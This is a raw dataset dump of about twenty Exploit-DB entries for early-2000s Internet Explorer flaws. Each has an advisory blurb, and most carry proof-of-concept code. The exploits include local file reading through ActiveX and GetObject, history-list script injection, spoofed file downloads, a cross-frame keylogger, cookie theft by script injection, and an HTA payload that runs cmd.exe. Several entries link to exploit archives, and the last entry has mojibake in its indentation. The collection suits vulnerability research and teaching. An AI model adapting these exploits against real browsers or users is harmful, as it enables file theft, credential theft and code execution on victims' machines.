deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20903
Description: Microsoft Internet Explorer 5.5 - File Disclosure
Type: remote
Platform: windows
Date: 2001-03-31
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/2833/info

Internet Explorer contains a flaw which could enable a remote web site operator to retrieve a known file from a visiting user's system.

If a specially formed script containing GetObject function with the known path to an existing file is embedded on a web page. Once the target user opens the web page, IE will return the contents of the file back to the web server.

It may be possible to execute arbitrary commands, although it has not been confirmed. 

<HTML>
<HEAD>
<TITLE>
Security bug in Internet Explorer - MSScriptControl.ScriptControl
</TITLE>
</HEAD>
<BODY>
<H3>
Security bug in Internet Explorer - MSScriptControl.ScriptControl
</H3>
<BR>
<p>Legal Notice:
<br>This Advisory and Demonstration is Copyright (c) 2001 Georgi Guninski. You may distribute
it unmodified. You may not modify it and distribute it or distribute parts
of it without the author's written permission.
<p>Disclaimer:
<br>The opinions expressed in this advisory and program are my own and
not of any company.
<br>The usual standard disclaimer applies, especially the fact that Georgi
Guninski
<br>is not liable for any damages caused by direct or&nbsp; indirect use
of the information or functionality provided by this advisory or program.
<br>Georgi Guninski, bears no responsibility for content or misuse of this
advisory or program or any derivatives thereof.
<BR>
<h2>
Wait a few seconds.
</h2>
<br>
Read the <A HREF="scractx.html">Advisory</A> for more information.

<script>
alert("This script reads C:\\TEST.TXT\nYou may need to create it\n")
v=new ActiveXObject("MSScriptControl.ScriptControl.1");
v.Language="VBScript";
x=v.eval('GetObject("c:/test.txt","htmlfile")');
setTimeout("alert(x.body.outerHTML);",2000);
</script>

<BR>
<center>(C) Copyright 2000 Georgi Guninski</center>
<BR>
<center>
| <a href="http://www.guninski.com">Home</a> | 
<a href="browsers.html">Internet Explorer</a> | 
<a href="win2k.html">Windows 2000</a> | 
<a href="exploit.html">AIX</a> | 
<a href="netscape.html">Netscape</a> | 
<a href="greets.html">Greets</a> | 
<a href="index.html">More...</a> | 
</center>
</BODY>
</HTML>
Exploit-DB #21376
Description: Microsoft Internet Explorer 5.5/6.0 - History List Script Injection
Type: remote
Platform: windows
Date: 2002-04-15
Author: Andreas Sandblad

Exploit:
source: https://www.securityfocus.com/bid/4505/info

A vulnerability has been reported in some versions of Internet Explorer. It is possible to inject JavaScript code into the browser history list, and execute it within any page context given appropriate user interaction.

Internet Explorer stores javascript: URLs in the browser history list. Script executed within the javascript: URL will inherit the security zone of the last viewed page. This provides protection against javascript: URLs included within a maliciously constructed web page. However, a user may navigate to a javascript: URL using the 'Back' button in their browser. This may result in the injected script code executing within the context of another page.

This behavior has been reported in versions 6.0 and 5.5 of IE. Other versions of Internet Explorer may share this vulnerability. This has not, however, been confirmed. 

<html>
<h1>Press link and then the backbutton to trigger script.</h1>
<a href="javascript:execFile('file:///c:/winnt/system32/winmine.exe')">
Run Minesweeper (c:/winnt/system32/winmine.exe Win2000 pro)</a><br>
<a href="javascript:execFile('file:///c:/windows/system32/winmine.exe')">
Run Minesweeper (c:/windows/system32/winmine.exe XP, ME etc...)</a><br>
<a href="javascript:readFile('file:///c:/test.txt')">
Read c:\test.txt (needs to be created)</a><br>
<a href="javascript:readCookie('http://www.google.com/')">
Read Google cookie</a>

<script>
// badUrl = "http://www.nonexistingdomain.se"; // Use if not XP
badUrl = "res:";
function execFile(file){
  s = '<object classid=CLSID:[PII_REDACTED]-[PII_REDACTED] ';
  s+= 'CODEBASE='+file+'></OBJECT>';
  backBug(badUrl,s);
}
function readFile(file){
  s = '<iframe name=i src='+file+' style=display:none onload=';
  s+= 'alert(i.document.body.innerText)></iframe>';
  backBug(badUrl,s);
}
function readCookie(url){
  s = '<script>alert(document.cookie);close();<"+"/script>';
  backBug(url,s);
}
function backBug(url,payload){
  len = history.length;
  page = document.location;
  s = "javascript:if (history.length!="+len+") {";
  s+= "open('javascript:document.write(\""+payload+"\")')";
  s+= ";history.back();} else '<script>location=\""+url
  s+= "\";document.title=\""+page+"\";<"+"/script>';";
  location = s;
}
</script>
</html>
Exploit-DB #21164
Description: Microsoft Internet Explorer 5.5/6.0 - Spoofable File Extensions
Type: remote
Platform: windows
Date: 2001-11-26
Author: StatiC

Exploit:
source: https://www.securityfocus.com/bid/3597/info

It is possible for a malicious webmaster, hosting files on an website, to spoof file extensions for users of Internet Explorer. For example, an .exe file can be made to look like a .txt (or other seemingly harmless file type) file in the Download dialog.

When including a certain string of characters between the filename and the actual file extension, IE will display the specified misleading file extension type.

The end result is that a malicious webmaster is able to entice a user to open or save arbitrary files to their local system.

* It has been reported that patched systems may still be vulnerable to this issue. If the attacker composes a .hta file, using the methods described above, it is possible for the malicious file to go undetected by patched systems. 

With an apache/php server add .txt to the already existing .php extension in the apache.conf file, so that apache will recognise .txt extensions as php script files.

1. Copy the real windows calc.exe from a windows system to the html root dir.

2. Copy the readme.txt file below to the same html root dir.

3. go to the url http://yourserver/readme.txt

You will see the same behavior mentioned in the previous alert.

FILE <readme.txt> BEGIN ----
<?php
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=calc.exe");
readfile("calc.exe");
?>
FILE <readme.txt> END ----

"Jonathan G. Lampe" <jonathan@stdnet.com> submitted this example in ASP for IIS webservers:

<%

Const adTypeBinary = 1
Dim strFilePath

Response.ContentType = "application/octet-stream"
Response.AddHeader "Content-Disposition","attachment; filename=calc.exe"

strFilePath = Server.MapPath(".") & "\calc.exe"

Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Open
objStream.Type = adTypeBinary
objStream.LoadFromFile strFilePath

Response.BinaryWrite objStream.Read

objStream.Close
Set objStream = Nothing

%>
Exploit-DB #27986
Description: Microsoft Internet Explorer 5.5/6.0/7.0 - JavaScript Key Filtering
Type: remote
Platform: windows
Date: 2006-06-06
Author: Jesse Ruderman

Exploit:
source: https://www.securityfocus.com/bid/18308/info

Multiple web browsers are prone to a JavaScript key-filtering vulnerability because the browsers fail to securely handle keystroke input from users.

This issue is demonstrated to allow attackers to divert keystrokes from one input form in a webpage to a hidden file-upload dialog in the same page. This may allow remote attackers to initiate file uploads from unsuspecting users. Other attacks may also be possible.

Exploiting this issue requires that users manually type the full path of files that attackers wish to download. This may require substantial typing from targeted users, so attackers will likely use keyboard-based games, blogs, or other similar pages to entice users to enter the required keyboard input to exploit this issue.

Reportedly, Mozilla Suite, Mozilla Firefox, Mozilla SeaMonkey, Netscape Navigator, and Microsoft Internet Explorer are all vulnerable to this issue.


<HTML>
<HEAD>
<SCRIPT>
//document.onKeyDown = doKeyPress;

//document.onKeyUp = doKeyUp;
var saved;
var e ;
var mystring = "C:\\BOOT.INI";
var i=mystring.length-1;

function doKeyPress () {
e = window.event;
saved = e.keyCode;
window.status = "e.keyCode == " + e.keyCode + "character is " +
mystring.charCodeAt(i);
if(e.keyCode != mystring.charCodeAt(i))
    {
    //e.keyCode =0;
    e.returnValue=false;
    e.cancelBubble=true;
}
else {
    i--;
}
document.forms[0].fileupload.focus();

}

function doKeyUp () {

document.forms[0].txt.value += String.fromCharCode(saved);
document.forms[0].txt.focus();

}

function switchtype() {
  /*  var e = document.getElementById('txt');
       document.forms[0].txt.setAttribute("type", "file");
       e.setAttribute("value", "asfasfsd");
  */
}

function fux0rKeys() {
   }
</SCRIPT>
</HEAD>
<BODY onload="document.forms[0].txt.value='sometext';
document.forms[0].fileupload.value='asdfsdfadsf';">
<FORM METHOD=POST action=file.php>
<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="doKeyPress();">
<input name=txt id='txt' type=text value='asdfsdafasdf'
OnKeyDown="document.forms[0].fileupload.focus();"
asdfnKeyDown="document.forms[0].txt.fireEvent('onKeyPress');"
onClick=""> visible
</FORM>
</BODY>
</HTML>
Exploit-DB #24693
Description: Microsoft Internet Explorer 5.x - Valid File Drag and Drop Embedded Code (MS04-038)
Type: remote
Platform: windows
Date: 2004-10-20
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/11466/info

The Microsoft cumulative Internet Explorer patch (MS04-038) attempted to limit what files may be dragged and dropped onto the local computer from the Internet Zone to prevent executable objects from being placed on the file system in this manner. 

However, a number of file types are still permitted for drag and drop operations. It has demonstrated that it is possible to embed hostile HTML and script code in one of these file types, remove the file extension and then allow the operating system to dynamically determine the file type based on its contents.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24693.zip
Exploit-DB #22575
Description: Microsoft Internet Explorer 5/6 - 'file://' Request Zone Bypass
Type: remote
Platform: windows
Date: 2003-05-09
Author: Marek Bialoglowy

Exploit:
source: https://www.securityfocus.com/bid/7539/info

Internet Explorer is reported to be vulnerable to a zone bypass issue. Allegedly, if Internet Explorer attempts to open a web page containing numerous 'file://' requests each contained in a separate Iframe, the requested file will eventually be executed in the Local Computer zone. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22575.rar (dmz.rar Password: zones)
Exploit-DB #23114
Description: Microsoft Internet Explorer 5/6 - Browser Popup Window Object Type Validation
Type: remote
Platform: windows
Date: 2003-09-07
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/8556/info

Internet Explorer does not properly handle object types, when rendering malicious popup windows. This may result in the possibility of the execution of malicious software.

The problem occurs when Internet Explorer receives a response from the server when a malicious popup window containing an object tag is parsed. Proper parameter checks of the type of file being loaded are not performed on the object type contained within HTTP response received from the web server.

<script>
var oPopup = window.createPopup();

function showPopup() {
oPopup.document.body.innerHTML = "<object data=ouch.php>";
oPopup.show(0,0,1,1,document.body);
}

showPopup()
</script>
Exploit-DB #21959
Description: Microsoft Internet Explorer 5/6 - Cached Objects Zone Bypass
Type: remote
Platform: windows
Date: 2002-10-22
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/6028/info

Multiple vulnerabilities have been reported for Microsoft Internet Explorer. These vulnerabilities have been reported to affect Internet Explorer 5.5 to 6.0. Internet Explorer 6.0 with Service Pack 1 and Internet Explorer 5 with Service Pack 2 are reportedly not vulnerable.

The vulnerabilities are due to how Internet Explorer handles cached objects. This vulnerability may allow remote attackers to execute script code in the context of other domains and security zones.

The cause appears to be a lack of access control checks when access to a document object is attempted through a separate reference to it. A malicious webmaster may exploit this vulnerability by creating a reference to several methods of the target child window. The attacker may then have the child window open a website in a different domain/Zone and obtain control of the newly created window to execute malicious code. As the domain/Zone is different in the child window, this should not be possible.

Several methods have been reported as being vulnerable to exploitation.

Exploitation of this vulnerability may allow for theft of cookie information, website impersonation or disclosure and manipulation of local files.

** Some reports indicate that Internet Explorer 6 with Service Pack may be vulnerable. 

<script language="jscript">
var oWin=open("blank.html","victim","width=100,height=100");
[Cache line here]
location.href="http://google.com";
setTimeout(
function () {
[Exploit line(s) here]
},
3000
);
</script>
Exploit-DB #21144
Description: Microsoft Internet Explorer 5/6 - Cookie Disclosure/Modification
Type: remote
Platform: windows
Date: 2001-11-09
Author: Jouko Pynnonen

Exploit:
source: https://www.securityfocus.com/bid/3513/info

Internet Explorer contains a vulnerability, which could allow an attacker to construct a URL that would display or modify the cookie information associated with an arbitrary website.

If a URL is composed in the about: protocol referencing a website, Javascript embedded in the URL can access any cookies associated with that website via 'document.cookie'. The Javascript executes because of a cross-site scripting condition in the about: protocol. 

about://www.google.com/<script language=javascript>alert(document.cookie);</script>
Exploit-DB #23766
Description: Microsoft Internet Explorer 5/6 - Cross-Domain Event Leakage
Type: remote
Platform: windows
Date: 2004-02-27
Author: iDefense

Exploit:
source: https://www.securityfocus.com/bid/9761/info

Microsoft Internet Explorer is reported to be prone to an issue that may leak sensitive information across foreign domains.

This issue could permit framesets in different domains to leak various events, including keyboard events. This could effectively permit a hostile web page to capture keystrokes from a foreign domain. 

<html>
<head><title>IE Cross Frame Scripting Restriction Bypass Example</title>
<script>
var keylog='';
document.onkeypress = function () {
k = window.event.keyCode;
window.status = keylog += String.fromCharCode(k) + '[' + k +']';
}
</script>
</head>
<frameset onLoad="this.focus();" onBlur="this.focus();" cols="100%,*">
<frame src="http://www.example.com" scrolling="auto">
</frameset>
</html>
Exploit-DB #21515
Description: Microsoft Internet Explorer 5/6 - FTP Web View Cross-Site Scripting
Type: remote
Platform: windows
Date: 2002-06-06
Author: Eiji James Yoshida

Exploit:
source: https://www.securityfocus.com/bid/4954/info

A cross site scripting issue has been reported with some versions of Microsoft Internet Explorer for Windows. Under some configurations, data included within a FTP URL will be rendered as displayed content, allowing the execution of arbitrary JavaScript code within the Local Computer context.

If both of the 'Enable folder view for FTP sites' and 'Enable Web content in folders' options are enabled, this vulnerability exists. These options are enabled by default.

When a folder is being viewed through FTP, the FTP server name is included in the Web Content information displayed. The FTP server name is not sanitized. A malicious link may define a server name which includes HTML content, including script code. When displayed, this script code will execute within the Local Computer context.

This vulnerability has been confirmed to exist under Windows 2000. Other versions of Windows may share this vulnerability. This has not, however, been confirmed. 

<a href="ftp://%22%3e%3cscript%3ealert(%22Exploit%22)%3b%3c%2fscript%3e%20" target="_blank">Exploit</a>
Exploit-DB #21195
Description: Microsoft Internet Explorer 5/6 - GetObject File Disclosure
Type: remote
Platform: windows
Date: 2002-01-01
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/3767/info

A flaw exists in Microsoft Internet Explorer that may allow a remote attacker to view known files on a target system when a user views web content containing a specially crafted script.

The problem occurs when the 'GetObject()' JScript function is used with the ActiveX object 'htmlfile.' If a URL containing "../" sequences is passed as the first argument to the function, it is possible to cause Internet Explorer to grant full access to the DOM of the created HTML document object:

a=GetObject("http://"+location.host+"/../../../../../../test.txt","htmlfile");

This vulnerability could be used by a malicious web site administrator to view any known file on a target system. It may also lead to the execution of arbitrary code.
Exploit-DB #21127
Description: Microsoft Internet Explorer 5/6 - JavaScript Interface Spoofing
Type: remote
Platform: windows
Date: 2001-10-21
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/3469/info

It is reported that Microsoft Internet Explorer may permit aspects of the Internet Explorer interface to be spoofed. This could facilitate numerous attacks against users of the browser, including spoofing of both graphical components of the underlying operating system and overlaying browser components.

This misrepresentation may fool a user into taking dangerous actions. Users could then take further actions that compromise sensitive information based on this false sense of trust. 

var vuln_x, vuln_y, vuln_w, vuln_h;
function vuln_calc() {
var root= document[
(document.compatMode=='CSS1Compat') ?
'documentElement' : 'body'
];
vuln_x= window.screenLeft+72;
vuln_y= window.screenTop-20;
vuln_w= root.offsetWidth-520;
vuln_h= 17;
vuln_show();
}

var vuln_win;
function vuln_pop() {
vuln_win= window.createPopup();
vuln_win.document.body.innerHTML= vuln_html;
vuln_win.document.body.style.margin= 0;
vuln_win.document.body.onunload= vuln_pop;
vuln_show();
}

function vuln_show() {
if (vuln_win)
vuln_win.show(vuln_x, vuln_y, vuln_w, vuln_h);
}

var vuln_html= '\x3Cdiv style="height: 100%; line-height: 17px;
font-family: \'Tahoma\', sans-serif; font-size:
8pt;">https://<spoofed URI>\x3C/div>'
Exploit-DB #22783
Description: Microsoft Internet Explorer 5/6 - MSXML XML File Parsing Cross-Site Scripting
Type: remote
Platform: windows
Date: 2003-06-17
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/7938/info

A vulnerability has been reported for the Microsoft Internet Explorer that may result in cross-site scripting attacks.

If IE, using the MSXML parser, is unable to parse the requested XML file, it will display a parse error that also includes the URL of the requested XML file. In some cases malicious HTML code will not be properly sanitized from the URL, thereby resulting in the execution of script code.

Exploitation may allow theft of cookie-based authentication credentials or other attacks.

http://host.with.unparsable.xml.file/flaw.xml?<script>alert(document.cookie)</script>
Exploit-DB #21606
Description: Microsoft Internet Explorer 5/6 - OBJECT Tag Same Origin Policy Violation
Type: remote
Platform: windows
Date: 2002-07-10
Author: Thor Larholm

Exploit:
source: https://www.securityfocus.com/bid/5196/info

Microsoft Internet Explorer allows script code to violate the same origin policy through usage of the HTML OBJECT tag. Malicious script code may obtain a legitimate reference to an embedded object containing a web page from the same domain. This script may then change the location of the embedded object to a sensitive page, and maintain the reference to the object. This provides full access to the DOM of the embedded page. 

<object id="data" data="empty.html" type="text/html"></object>
<script>
var ref=document.getElementById("data").object;
ref.location.href = "http://www.passport.com";
setTimeout("alert(ref.cookie)",5000);
</script>
Exploit-DB #23044
Description: Microsoft Internet Explorer 5/6 - Object Type Validation
Type: remote
Platform: windows
Date: 2003-08-20
Author: Drew Copley

Exploit:
source: https://www.securityfocus.com/bid/8456/info

The problem occurs when Internet Explorer receives a response from the server when a web page containing an object tag is parsed. Successful exploitation of this vulnerability could allow a malicious object to be trusted and as such be executed on the local system. All code execution would occur in the security context of the current user. 

--------------Client HTTP request---------------------------
<html>
...
<object data="www.yourinternethost.com/yourexploitwebpageorcgi.html">
</object>
</html>
------------------------------------------------------------

-------------Server HTTP Response---------------------------
HTTP/1.1 200 OK
Date: Tue, 13 May 2003 18:06:43 GMT
Server: Apache
Content-Type: application/hta
Content-Length: 191

<html>
<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script>
wsh.Run("cmD.exe /k echO so loNg, and ThaNks For all yoUr EmplOyeeS");
</script>
</html>
------------------------------------------------------------
Exploit-DB #22288
Description: Microsoft Internet Explorer 5/6 - Self Executing HTML File
Type: remote
Platform: windows
Date: 2003-02-25
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/6961/info

Microsoft Internet Explorer contains a vulnerability that can allow script code within an HTML document to run an embedded executable file. Since the file is an HTML file, Internet Explorer will open and parse the file. When the script that points back to the embedded executable is parsed, the embedded executable will run on the client system in the security context of Internet Explorer.

There have been reports that some users may not be able to reproduce this vulnerability. When more information becomes available, this record will be updated.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22288-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22338.zip
Exploit-DB #21940
Description: Microsoft Internet Explorer 5/6 - Unauthorized Document Object Model Access
Type: remote
Platform: windows
Date: 2002-10-15
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/5963/info

Microsoft Internet Explorer (MSIE) is prone to a vulnerability that may enable a frame or iframe to gain unauthorized access to the Document Object Model (DOM) of other frames/iframes in a different domain. This is possible because MSIE does not perform adequate access control checks on all frame properties. While access to the 'document' property across domains is properly restricted, access to 'Document' is not. This may allow an attacker to violate the browser Same Origin Policy and gain unauthorized access to the properties of frames and iframes that are in a different domain. 

<script language="jscript">
onload=function () {
횂 횂 횂 횂 // Timer necessary to prevent weird behavior in some conditions
횂 횂 횂 횂 setTimeout(
횂 횂 횂 횂 횂 횂 횂 횂 function () {
횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 횂 alert(document.getElementById("oVictim").Document.cookie);
횂 횂 횂 횂 횂 횂 횂 횂 },
횂 횂 횂 횂 횂 횂 횂 횂 100
횂 횂 횂 횂 );
}
</script>
<iframe src="http://example.com" id="oVictim"></iframe>